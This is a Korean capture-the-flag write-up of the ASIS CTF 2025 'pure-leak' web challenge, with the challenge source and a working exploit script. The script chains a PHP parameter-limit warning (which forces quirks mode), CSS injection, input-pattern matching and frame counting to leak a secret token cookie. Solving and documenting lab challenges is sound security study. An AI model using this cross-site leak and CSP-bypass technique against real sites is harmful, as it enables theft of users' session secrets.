Avatar
Interest: Web Exploitation.
Activities: DreamHack, Baekjoon
I occasionally blogs about web security, tricks, and development.

ASIS CTF 2025 Quals (Upsolve)

ASIS CTF 2025 Quals (Upsolve)

대회 일정

2025-09-06 23:00 ~ 2024-09-07 23:00

대회 후기

Writeup

under-the-beamers-revenge

0 solves / 500 pts

작성 예정

pure-leak

2 solves / 450 pts

index.php

<?php
function validate(mixed $input): string {
  if (!is_string($input)) return "Invalid types";
  if (strlen($input) > 1024) return "Too long";
  if (preg_match('/[^\x20-\x7E\r\n]/', $input)) return "Invalid characters";
  if (preg_match('*http|data|\\\\|\*|\[|\]|&|%|@|//*i', $input)) return "Invalid keywords";
  return $input;
}
?>
<!DOCTYPE html>
<html>
<body>
  <h1>pure-leak 🫨</h1>
  <h3>Source</h3>
  <pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre>
  <h3>Content</h3>
  <?php echo validate($_GET["content"] ?? "")."\n"; ?>
  <h3>Token</h3>
  <?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?>
  <h3>Usage</h3>
  <a href="/?content=your_input">/?content=your_input</a>
</body>
</html> 

entrypoint.sh

#!/bin/sh
set -eu

# load balancing
php -S 127.0.0.1:9000 &
php -S 127.0.0.1:9001 &
php -S 127.0.0.1:9002 &
php -S 127.0.0.1:9003 &

cat > /tmp/Caddyfile << EOF
:3000 {
  header {
    defer
    Content-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"
  }

  reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {
    replace_status 200
  }
}
EOF

exec caddy run --config /tmp/Caddyfile

index.php, entrypoint.sh 파일을 살펴보면, content 파라미터에 다음과 같은 검증 요소가 존재합니다.

  • 변수 타입: string
  • 문자열 길이 제한: 1024
  • 허용된 문자: [\x20-\x7e\r\n]
  • 허용하지 않는 문자: http,data,\,*,[,],&,%,@,//

추가적으로, CSP 정책이 다음과 같이 걸려있습니다.

  • script-src 'none'; default-src 'self'; base-uri 'none'

<link href="..." rel="stylesheet"> 코드의 경우, 응답의 Content-Type 헤더 값이 text/css인 경우에만 로드가 가능합니다.

다만, same-origintext/css를 반환하는 페이지가 존재하지 않습니다. 즉, default-src 'self' CSP 정책에 의해 CSS Injection이 불가능합니다.

하지만, quirks 모드에서 same-origin을 위한 MIME 타입 검증을 완화합니다.

index.php 파일을 살펴보면, <!DOCTYPE html> 구문에 의해 "CSS1Compat"로 설정되어 있는 것을 확인할 수 있습니다. CSS1Compat 설정 값은 no-quirks 모드를 의미합니다.

PHP의 파라미터 개수 제한(max_input_vars (default: 1000))에 대한 기본 설정은 이와 같습니다.

http://localhost:3000/?a&a&a&a&a&a&a&a&a&a&a&...<1001 parameters>...

만약 지정된 파라미터 개수를 초과하게될 경우, 이미 본문 내용이 사용자에게 전달되어 header()에 설정된 CSP 정책이 적용되지 않습니다.

서비스의 경우, Caddy 설정 파일에 CSP 정책이 설정되어 있어 CSP 정책을 무력화할 수 없습니다. 다만, 파라미터 개수 제한 초과로 인해 <!DOCTYPE html>이 전달되기 전에 경고가 발생하여 quirks 모드로 변경이 가능합니다.

const content = `
  <link href="/index.php?content={}body{background:limegreen}" rel=stylesheet>
`; 
location = `http://localhost:3000?content=${
  encodeURIComponent(content)
}${"&a".repeat(1000)}`;

content 파라미터에 CSS Injection 구문을 요청할 경우, /* 문자에 의해 입력한 값이 주석 처리되는 것을 확인할 수 있습니다.

존재하지 않는 페이지 요청 시, 요청 경로, 파라미터가 페이지에 반영되는 것을 활용한다면, CSS Injection을 수행할 수 있습니다.

const content = `
<link href="/not-found.txt?{}body{background:limegreen}" rel=stylesheet>
`;
location = `http://localhost:3000?content=${
encodeURIComponent(content)
}${"&a".repeat(1000)}`;        

CSS Injection에 의해 배경색이 변경된 것을 확인할 수 있습니다.

다음으로, 토큰 탈취를 위해 토큰 값 검증을 수행해야 합니다.
다만, [,] 문자 필터링에 의해 input[value^="TOKEN_012"] 형태의 CSS 코드를 삽입할 수 없습니다.

<input> 태그 내 pattern 속성을 사용한다면, 토큰 검증이 가능합니다.

const pattern = "TOKEN_012";
const content = `
<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet>
<div>
    <embed code="x" type=text/html> 
    <input pattern=".+${pattern}.+" value="
`;
location = `http://localhost:3000?content=${
encodeURIComponent(content)
}${"&a".repeat(1000)}`;

default-src 'self' CSP 정책에 의해 외부 도메인으로 요청을 보낼 수 없습니다. 대신, Frame Counting 기법을 사용하면, 프레임 개수에 따라 토큰 일치 여부를 확인할 수 있습니다.

Exploit Code

@arkark 님이 작성한 코드입니다.

<body>
    <script type="module">
        const BASE_URL = "http://web:3000";

        const sleep = (ms) => new Promise((resolve) => setTimeout(resolve, ms));

        const TOKEN_SIZE = 16;

        let known = "TOKEN_";
        const win = open("");

        const CHARS = [..."0123456789abcdef"];

        const match = async (pattern) => {
            win.location = "about:blank";
            while (true) {
                try {
                    win.origin;
                    break;
                } catch {
                    await sleep(3);
                }
            }

            const content = `
          <link href="/not-found.txt?{}div:has(input:valid){display:none}" rel=stylesheet>
          <div>
            <embed code="x" type=text/html>
            <input pattern=".+${pattern}.+" value="
        `;
            const url = `${BASE_URL}?content=${encodeURIComponent(
                content
            )}${"&a".repeat(1000)}`;

            win.location = url;
            while (true) {
                try {
                    win.origin;
                    await sleep(3);
                } catch {
                    break;
                }
            }
            await sleep(100);

            return win.length === 0; // frame counting
        };

        for (let i = 0; i < TOKEN_SIZE; i++) {
            let left = 0;
            let right = CHARS.length;
            while (right - left > 1) {
                const mid = (right + left) >> 1;

                const p = "(" + CHARS.slice(left, mid).join("|") + ")";
                if (await match(known + p)) {
                    right = mid;
                } else {
                    left = mid;
                }
            }
            known += CHARS[right - 1];
            fetch("/?debug=" + encodeURIComponent(known));
        }
        fetch("/?token=" + encodeURIComponent(known));
    </script>
</body>

Token Leak

Flag

ASIS{silksooooooong_9_4_y4y!!}